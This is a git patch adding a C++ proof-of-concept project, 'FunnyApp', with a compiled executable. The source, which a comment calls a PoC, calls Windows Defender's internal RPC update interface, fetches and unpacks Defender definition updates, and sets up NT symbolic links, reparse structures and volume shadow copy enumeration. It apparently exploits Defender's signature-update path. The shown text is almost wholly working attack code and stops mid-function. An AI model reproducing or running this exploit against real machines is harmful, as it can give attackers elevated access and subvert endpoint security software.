From 18e9cf2403f50623ed1a2bcf7d8a666287af7bea Mon Sep 17 00:00:00 2001 From: Nightmare-Eclipse Date: Fri, 3 Apr 2026 01:40:42 +0200 Subject: [PATCH] Initial commit --- FunnyApp.aps | Bin 0 -> 1324 bytes FunnyApp.cpp | 3454 ++ FunnyApp.rc | Bin 0 -> 2668 bytes FunnyApp.sln | 31 + FunnyApp.vcxproj | 181 + FunnyApp.vcxproj.filters | 49 + FunnyApp.vcxproj.user | 4 + offreg.h | 239 + offreg.lib | Bin 0 -> 6820 bytes resource.h | 14 + windefend.idl | 2413 ++ windefend_c.c | 72957 +++++++++++++++++++++++++++++++++++++ windefend_h.h | 2586 ++ windefend_s.c | 68441 ++++++++++++++++++++++++++++++++++ x64/Release/FunnyApp.exe | Bin 0 -> 388608 bytes 15 files changed, 150369 insertions(+) create mode 100644 FunnyApp.aps create mode 100644 FunnyApp.cpp create mode 100644 FunnyApp.rc create mode 100644 FunnyApp.sln create mode 100644 FunnyApp.vcxproj create mode 100644 FunnyApp.vcxproj.filters create mode 100644 FunnyApp.vcxproj.user create mode 100644 offreg.h create mode 100644 offreg.lib create mode 100644 resource.h create mode 100644 windefend.idl create mode 100644 windefend_c.c create mode 100644 windefend_h.h create mode 100644 windefend_s.c create mode 100644 x64/Release/FunnyApp.exe diff --git a/FunnyApp.aps b/FunnyApp.aps new file mode 100644 index 0000000000000000000000000000000000000000..1cf139a92a62ae92c94e80a649eb1e1dc92fcc22 GIT binary patch literal 1324 zcmb7D&2G~`5dI7~H2hpRa864Ptwf`w6ojf?jN=H4#I9l|Es`ZGiY*!`aV(oC^gVbG z9s_s=E)_4p8-#B+&e~BRh>gbCo%!aQ+1VKYs8N>7m2kVUUh;HEd5bH&;s0`}<@RbN z-{8l6z&Q8&S(Ik}Fr1EKKby_dQRJslGRyq-JdSVmBvG4sIugDQDQ6T9Ca(FlV8cKM zeYB`4Vl`0R<58|OT2a?;fTz^#_P-~6%Kp#B@n|v+quRk@9FwembMW{9QM|%GxC8g>Ne~1b&ad6q67Ot7t8U!$OL0~wx*K<0`pLW)^u)FWO=GtAbKPqxsR{jY1HVH?sgY-l33)T_ zkMIev@e0ReyOJ4%#4e=m9nT+SrK==s5cSw-J +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "windefend_h.h" + +/* +#include +#include +#include +#include +#include +#include +#include +*/ +#include "offreg.h" +#define _NTDEF_ +#include +#include + +#pragma comment(lib, "wininet.lib") +#pragma comment(lib, "ktmw32.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "Rpcrt4.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "Cabinet.lib") +#pragma comment(lib, "Wuguid.lib") +#pragma comment(lib,"CldApi.lib") + + +/// NT routines and definitions +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + +//////////////// NT DEF END + + +// definitions of structures used by threads that invoke WD RPC calls +struct WDRPCWorkerThreadArgs +{ + HANDLE hntfythread; + HANDLE hevent; + RPC_STATUS res; + wchar_t* dirpath; +}; + +typedef struct tagMPCOMPONENT_VERSION { + ULONGLONG Version; + ULARGE_INTEGER UpdateTime; +} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; + +typedef struct tagMPVERSION_INFO { + MPCOMPONENT_VERSION Product; + MPCOMPONENT_VERSION Service; + MPCOMPONENT_VERSION FileSystemFilter; + MPCOMPONENT_VERSION Engine; + MPCOMPONENT_VERSION ASSignature; + MPCOMPONENT_VERSION AVSignature; + MPCOMPONENT_VERSION NISEngine; + MPCOMPONENT_VERSION NISSignature; + MPCOMPONENT_VERSION Reserved[4]; +} MPVERSION_INFO, * PMPVERSION_INFO; + +typedef union Version { + struct { + WORD major; + WORD minor; + WORD build; + WORD revision; + }; + ULONGLONG QuadPart; +}; +////////////////// + + +// structures and global vars used by definition update functions +void* cabbuff2 = NULL; +DWORD cabbuffsz = 0; +struct CabOpArguments { + ULONG index; + char* filename; + size_t ptroffset; + char* buff; + DWORD FileSize; + CabOpArguments* first; + CabOpArguments* next; +}; + +struct UpdateFiles { + char filename[MAX_PATH]; + void* filebuff; + DWORD filesz; + bool filecreated; + UpdateFiles* next; +}; +/////////////////////////////////////// + + +// structures and global vars used by volume shadow copy functions +struct cldcallbackctx { + + HANDLE hnotifywdaccess; + HANDLE hnotifylockcreated; + wchar_t filename[MAX_PATH]; +}; + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; + +struct cloudworkerthreadargs { + HANDLE hlock; + HANDLE hcleanupevent; + HANDLE hvssready; +}; +/////////////////////////////////////// + + + +////////////////////////////////////////////////////////////////////// +// Functions required by RPC +///////////////////////////////////////////////////////////////////// + +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) +{ + return((void __RPC_FAR*) malloc(cBytes)); +} + +void __RPC_USER midl_user_free(void __RPC_FAR* p) +{ + free(p); +} +////////////////////////////////////////////////////////////////////// +// Functions required by RPC end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD RPC functions +///////////////////////////////////////////////////////////////////// +void ThrowFunc() +{ + throw 0; +} + +void RaiseExceptionInThread(HANDLE hthread) +{ + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + SuspendThread(hthread); + + if (GetThreadContext(hthread, &ctx)) + { + ctx.Rip = (DWORD64)ThrowFunc; + SetThreadContext(hthread, &ctx); + ResumeThread(hthread); + } +} + +void CallWD(WDRPCWorkerThreadArgs* args) +{ + RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; + RPC_WSTR StringBinding; + if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) + { + printf("Unexpected error while building an RPC binding from string !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + RPC_BINDING_HANDLE bindhandle = 0; + if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) + { + printf("Failed to connect to windows defender RPC port !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + // PoC might fail here with 0x8050A003 from time to time, this means the update that the PoC is attempting to perform isn't the right one for this code, bail out anyway and wait for the right update. + error_status_t errstat = 0; + printf("Calling ServerMpUpdateEngineSignature...\n"); + RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); + args->res = stat; + if (args->hevent) + SetEvent(args->hevent); + +} + +DWORD WINAPI WDCallerThread(void* args) +{ + if (!args) + return ERROR_BAD_ARGUMENTS; + CallWD((WDRPCWorkerThreadArgs*)args); + return ERROR_SUCCESS; + +} +////////////////////////////////////////////////////////////////////// +// WD RPC functions end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD definition update functions +///////////////////////////////////////////////////////////////////// + +CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) +{ + + CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(cbps, sizeof(CabOpArguments)); + cbps->buff = (char*)cabbuff2; + cbps->FileSize = cabbuffsz; + return cbps; +} + +INT CUST_FNSEEK(HANDLE hf, + long offset, + int origin) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (origin == SEEK_SET) + CabOpArgs->ptroffset = offset; + if (origin == SEEK_CUR) + CabOpArgs->ptroffset += offset; + if (origin == SEEK_END) + CabOpArgs->ptroffset += CabOpArgs->FileSize; + + return CabOpArgs->ptroffset; + + } + + return -1; +} + + +UINT CUST_FNREAD(CabOpArguments* hf, + void* const buffer, + unsigned const buffer_size) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (CabOpArgs->buff) + { + + memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); + CabOpArgs->ptroffset += buffer_size; + //CabOpArgs->ReadBytes += buffer_size; + return buffer_size; + } + } + + return NULL; +} + +UINT CUST_FNWRITE(CabOpArguments* hf, + const void* buffer, + unsigned int count) +{ + + if (hf) + { + if (hf->buff) { + memmove(&hf->buff[hf->ptroffset], buffer, count); + hf->ptroffset += count; + return count; + } + } + + + return NULL; +} + +INT CUST_FNCLOSE(CabOpArguments* fnFileClose) +{ + + free(fnFileClose); + return 0; +} + +VOID* CUST_FNALLOC(size_t cb) +{ + return malloc(cb); +} + +VOID CUST_FNFREE(void* buff) +{ + free(buff); +} + +INT_PTR CUST_FNFDINOTIFY( + FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin +) { + + //printf("_FNFDINOTIFY : %d\n", fdinotify); + wchar_t newfile[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + HANDLE hfile = NULL; + ULONG rethandle = 0; + CabOpArguments** ptr = NULL; + CabOpArguments* lcab = NULL; + switch (fdinotify) + { + case fdintCOPY_FILE: + if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) + return NULL; + + ptr = (CabOpArguments**)pfdin->pv; + lcab = *ptr; + if (lcab == NULL) { + lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab, sizeof(CabOpArguments)); + lcab->first = lcab; + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + + + } + else + { + + + lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab->next, sizeof(CabOpArguments)); + lcab->next->first = lcab->first; + lcab = lcab->next; + + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + + lcab->first->index++; + *ptr = lcab; + + + + return (INT_PTR)lcab; + break; + case fdintCLOSE_FILE_INFO: + return TRUE; + break; + default: + return 0; + } + return 0; +} + +void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) +{ + if (cbRawData < sizeof(IMAGE_DOS_HEADER)) + { + return 0; + } + + if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) + { + return 0; + } + + ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); + + if (e_lfanew >= s || s > cbRawData) + { + return 0; + } + + PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); + + + + if (pinth->Signature != IMAGE_NT_SIGNATURE) + { + return 0; + } + + ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; + + s = e_lfanew + SizeOfHeaders; + + if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) + { + return 0; + } + + s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; + + if (s > SizeOfHeaders) + { + return 0; + } + + ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); + + ULONG Size; + + if (NumberOfSections) + { + if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) + { + return 0; + } + + do + { + if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) + { + union { + ULONG VirtualAddress, PointerToRawData; + }; + + VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; + + if (VirtualAddress > s || s > SizeOfImage) + { + return 0; + } + + PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; + + if (PointerToRawData > s || s > cbRawData) + { + return 0; + } + + char rsrc[] = ".rsrc"; + if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) + { + typedef struct _IMAGE_RESOURCE_DIRECTORY2 { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + WORD NumberOfNamedEntries; + WORD NumberOfIdEntries; + IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; + } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; + + PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); + + PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; + PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; + PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; + + while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) + { + + + + + pirde = &pird->DirectoryEntries[0]; + if (!pirde->DataIsDirectory) + { + pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); + pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; + void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); + if (cabsz) + *cabsz = pdata->Size; + return cabfile; + } + pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); + } + break; + + + + + } + + + + } + + } while (pish++, --NumberOfSections); + } + return NULL; + +} + + +UpdateFiles* GetUpdateFiles(int* filecount = NULL) +{ + + + + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + HANDLE htransaction = NULL; + char fname[] = "update.cab"; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + bool extractres = false; + DWORD totalsz = 0; + HANDLE hmpeng = NULL; + CabOpArguments* CabOpArgs = NULL; + CabOpArguments* mpenginedata = NULL; + void* dllview = NULL; + char** filesmtrx = 0; + UpdateFiles* firstupdt = NULL; + UpdateFiles* current = NULL; + + DWORD nbytes = 0; + + + printf("Downloading updates...\n"); + hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); + if (!hint) + { + printf("Failed to open internet, error : %d", GetLastError()); + goto cleanup; + } + + hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); + //InternetCloseHandle(hint); + if (!hint2) + { + printf("Failed to open internet URL, error : %d", GetLastError()); + goto cleanup; + } + + res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); + if (!res2) + { + printf("Failed to query update size, error : %d", GetLastError()); + goto cleanup; + } + + + wcscpy(filesz, (LPWSTR)data); + sz = _wtoi(filesz); + li.QuadPart = sz; + + + exebuff = malloc(sz); + if (!exebuff) + { + printf("Failed to allocate memory to download file !!!"); + goto cleanup; + } + ZeroMemory(exebuff, sz); + + if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) + { + + printf("Failed to download update from internet, error : %d", GetLastError()); + goto cleanup; + } + InternetCloseHandle(hint); + hint = NULL; + InternetCloseHandle(hint2); + hint = NULL; + printf("Done.\n"); + mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); + + + + if (!mappedbuff) + { + printf("Failed to retrieve cabinet file from downloaded file.\n"); + goto cleanup; + } + printf("Cabinet file mapped at 0x%p\n", mappedbuff); + + + + + cabbuff2 = mappedbuff; + cabbuffsz = ressz; + + printf("Extracting cab file content...\n"); + hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); + if (!hcabctx) + { + printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + + + + extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); + if (!extractres) + { + printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + FDIDestroy(hcabctx); + hcabctx = NULL; + + if (!CabOpArgs) + { + printf("Unexpected empty buffer after extracting cab file.\n"); + return NULL; + } + + CabOpArgs = CabOpArgs->first; + + firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(firstupdt, sizeof(UpdateFiles)); + current = firstupdt; + while (CabOpArgs) + { + if (filecount) + *filecount += 1; + strcpy(current->filename, CabOpArgs->filename); + DWORD buffsz = CabOpArgs->FileSize; + current->filebuff = malloc(buffsz); + memmove(current->filebuff, CabOpArgs->buff, buffsz); + current->filesz = buffsz; + CabOpArgs = CabOpArgs->next; + if (CabOpArgs) + { + current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(current->next, sizeof(UpdateFiles)); + current = current->next; + } + + } + printf("Cab file content extracted.\n"); + + +cleanup: + + if (CabOpArgs) + { + CabOpArguments* current = CabOpArgs->first; + while (current) + { + free(current->buff); + free(current->filename); + CabOpArgs = current; + current = current->next; + free(CabOpArgs); + } + } + if (hint) + InternetCloseHandle(hint); + + if (hint2) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + + return firstupdt; + + +} + +bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) +{ + + + + IUpdateSearcher* updsrch = 0; + bool updatesfound = false; + IUpdateSession* updsess = 0; + CLSID clsid; + HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); + ISearchResult* srchres = 0; + IUpdateCollection* updcollection = 0; + LONG updnum = 0; + BSTR title = 0; + BSTR desc = 0; + ICategoryCollection* catcoll = 0; + ICategory* cat = 0; + BSTR catname = 0; + IUpdate* upd = 0; + bool comini = CoInitialize(NULL) == 0; + if (!comini) { + printf("Failed to initialize COM\n"); + *criterr = true; + return false; + } + + + + + hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); + + if (!updsess) + { + printf("CoCreateInstance returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("CoCreateInstance : 0x%p\n", updsess); + + + hr = updsess->CreateUpdateSearcher(&updsrch); + if (hr) + { + printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updsrch) + { + printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); + //printf("Checking for updates, please wait...\n"); + hr = updsrch->Search(SysAllocString(L""), &srchres); + if (hr) + { + printf("ISearchResult->Search failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("ISearchResult->Search : 0x%p\n", srchres); + + hr = srchres->get_Updates(&updcollection); + if (hr) + { + printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updcollection) + { + printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); + + + hr = updcollection->get_Count(&updnum); + if (hr) + { + printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("Updates count : %d\n", updnum); + + for (LONG i = 0; i < updnum; i++) + { + if (upd) + { + upd->Release(); + upd = 0; + } + title = 0; + desc = 0; + catname = 0; + //printf("_________________________________________\n"); + bool IsWdUdpate = false; + bool IsSigUpdate = false; + hr = updcollection->get_Item(i, &upd); + if (hr) + { + printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + if (!upd) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("Update number : %d\n", i + 1); + + hr = upd->get_Title(&title); + if (hr) + { + printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); + continue; + } + if (!title) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + title[SysStringLen(title)] = NULL; + //printf("Title : %ws\n", title); + + /* + desc = 0; + upd->get_Description(&desc); + if (!desc) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + desc[SysStringLen(desc)] = NULL; + printf("Description : %ws\n", desc); + */ + catcoll = 0; + hr = upd->get_Categories(&catcoll); + if (!catcoll) + { + printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); + continue; + } + LONG catcount = 0; + hr = catcoll->get_Count(&catcount); + for (LONG j = 0; j < catcount; j++) + { + cat = 0; + hr = catcoll->get_Item(j, &cat); + if (!cat) + { + printf("ICategoryCollection->get_Item returned NULL pointer.\n"); + continue; + } + catname = 0; + cat->get_Name(&catname); + catname[SysStringLen(catname)] = NULL; + //printf("Category name : %ws\n", catname); + if (catname) + { + if (!IsWdUdpate) + IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; + if (!IsSigUpdate) + IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; + + } + + } + updatesfound = IsWdUdpate && IsSigUpdate; + if (updatesfound) + break; + } + + if (updatesfound && updatetitle) { + memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); + } + +cleanup: + if (updcollection) + updcollection->Release(); + if (srchres) + srchres->Release(); + if (updsrch) + updsrch->Release(); + if (updsess) + updsess->Release(); + if (upd) + upd->Release(); + CoUninitialize(); + + + return updatesfound; +} + +////////////////////////////////////////////////////////////////////// +// WD definition update functions end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions +///////////////////////////////////////////////////////////////////// + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) +{ + + + if (!criticalerr || !vscnumber || !errorcode) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + *errorcode = RtlNtStatusToDosError(stat); + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = 